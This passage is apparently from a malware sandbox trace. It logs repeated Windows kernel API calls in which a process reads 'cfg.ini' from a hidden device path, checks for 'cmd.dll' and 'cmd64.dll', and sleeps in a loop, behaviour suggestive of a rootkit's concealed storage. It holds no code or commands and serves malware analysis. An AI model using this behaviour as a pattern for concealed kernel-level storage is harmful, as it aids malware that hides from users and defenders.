MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.850] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.850] IdePortDispatch () returned 0x103 [0119.850] KeWaitForMutexObject () returned 0x0 [0119.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.850] KeLeaveCriticalRegion () [0119.850] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.851] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.851] KeEnterCriticalRegion () [0119.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.851] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.851] KeLeaveCriticalRegion () [0119.851] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.851] KeEnterCriticalRegion () [0119.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.851] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.851] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc4f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.851] KeLeaveCriticalRegion () [0119.851] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.851] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.851] KeEnterCriticalRegion () [0119.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.851] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.851] KeLeaveCriticalRegion () [0119.851] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.851] ReleaseMutex (hMutex=0xf0) returned 1 [0119.851] Sleep (dwMilliseconds=0x124f80) [0119.866] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.866] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.866] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.866] KeEnterCriticalRegion () [0119.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.866] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.866] IdePortDispatch () returned 0x103 [0119.866] KeWaitForMutexObject () returned 0x0 [0119.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.866] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.866] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.866] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.866] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.866] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca6b0 [0119.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.866] KeLeaveCriticalRegion () [0119.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.867] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.867] KeEnterCriticalRegion () [0119.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.867] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.867] KeLeaveCriticalRegion () [0119.867] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.867] KeEnterCriticalRegion () [0119.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.867] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.867] IdePortDispatch () returned 0x103 [0119.867] KeWaitForMutexObject () returned 0x0 [0119.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.867] KeLeaveCriticalRegion () [0119.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.867] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.867] KeEnterCriticalRegion () [0119.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a03000 [0119.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.867] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.867] IdePortDispatch () returned 0x103 [0119.867] KeWaitForMutexObject () returned 0x0 [0119.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.868] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.868] IdePortDispatch () returned 0x103 [0119.868] KeWaitForMutexObject () returned 0x0 [0119.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.868] KeLeaveCriticalRegion () [0119.868] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.868] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.868] KeEnterCriticalRegion () [0119.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.868] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.869] KeLeaveCriticalRegion () [0119.869] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.869] KeEnterCriticalRegion () [0119.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.869] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.869] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.869] KeLeaveCriticalRegion () [0119.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.869] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.869] KeEnterCriticalRegion () [0119.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.869] ExFreePoolWithTag (P=0xfffffa8003bca6b0, Tag=0x0) [0119.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.869] KeLeaveCriticalRegion () [0119.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.869] ReleaseMutex (hMutex=0xf0) returned 1 [0119.869] Sleep (dwMilliseconds=0x124f80) [0119.884] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.884] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.884] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.884] KeEnterCriticalRegion () [0119.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.884] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.884] IdePortDispatch () returned 0x103 [0119.884] KeWaitForMutexObject () returned 0x0 [0119.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.885] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.885] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.885] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.885] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.885] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb880 [0119.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.885] KeLeaveCriticalRegion () [0119.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.885] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.885] KeEnterCriticalRegion () [0119.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.885] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.885] KeLeaveCriticalRegion () [0119.885] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.885] KeEnterCriticalRegion () [0119.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.885] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.885] IdePortDispatch () returned 0x103 [0119.885] KeWaitForMutexObject () returned 0x0 [0119.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.885] KeLeaveCriticalRegion () [0119.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.885] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.885] KeEnterCriticalRegion () [0119.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b08000 [0119.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.886] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.886] IdePortDispatch () returned 0x103 [0119.886] KeWaitForMutexObject () returned 0x0 [0119.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.886] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.886] IdePortDispatch () returned 0x103 [0119.886] KeWaitForMutexObject () returned 0x0 [0119.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.886] KeLeaveCriticalRegion () [0119.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.886] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.887] KeEnterCriticalRegion () [0119.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.887] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.887] KeLeaveCriticalRegion () [0119.887] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.887] KeEnterCriticalRegion () [0119.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.887] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.887] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9b50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.887] KeLeaveCriticalRegion () [0119.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.887] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.887] KeEnterCriticalRegion () [0119.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.887] ExFreePoolWithTag (P=0xfffffa8003bdb880, Tag=0x0) [0119.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.887] KeLeaveCriticalRegion () [0119.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.887] ReleaseMutex (hMutex=0xf0) returned 1 [0119.887] Sleep (dwMilliseconds=0x124f80) [0119.902] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.902] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.902] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.902] KeEnterCriticalRegion () [0119.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.902] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.902] IdePortDispatch () returned 0x103 [0119.903] KeWaitForMutexObject () returned 0x0 [0119.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.903] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.903] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.903] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.903] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.903] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9a90 [0119.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.903] KeLeaveCriticalRegion () [0119.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.904] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.904] KeEnterCriticalRegion () [0119.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.904] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.904] KeLeaveCriticalRegion () [0119.904] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.904] KeEnterCriticalRegion () [0119.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.904] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.904] IdePortDispatch () returned 0x103 [0119.904] KeWaitForMutexObject () returned 0x0 [0119.904] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.904] KeLeaveCriticalRegion () [0119.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.904] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.904] KeEnterCriticalRegion () [0119.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0d000 [0119.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.904] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.904] IdePortDispatch () returned 0x103 [0119.904] KeWaitForMutexObject () returned 0x0 [0119.905] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.905] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.905] IdePortDispatch () returned 0x103 [0119.905] KeWaitForMutexObject () returned 0x0 [0119.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.905] KeLeaveCriticalRegion () [0119.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.905] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.906] KeEnterCriticalRegion () [0119.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.906] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.906] KeLeaveCriticalRegion () [0119.906] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.906] KeEnterCriticalRegion () [0119.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.906] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.906] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.906] KeLeaveCriticalRegion () [0119.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.906] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.906] KeEnterCriticalRegion () [0119.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.906] ExFreePoolWithTag (P=0xfffffa8003bc9a90, Tag=0x0) [0119.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.906] KeLeaveCriticalRegion () [0119.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.906] ReleaseMutex (hMutex=0xf0) returned 1 [0119.906] Sleep (dwMilliseconds=0x124f80) [0119.920] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.920] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 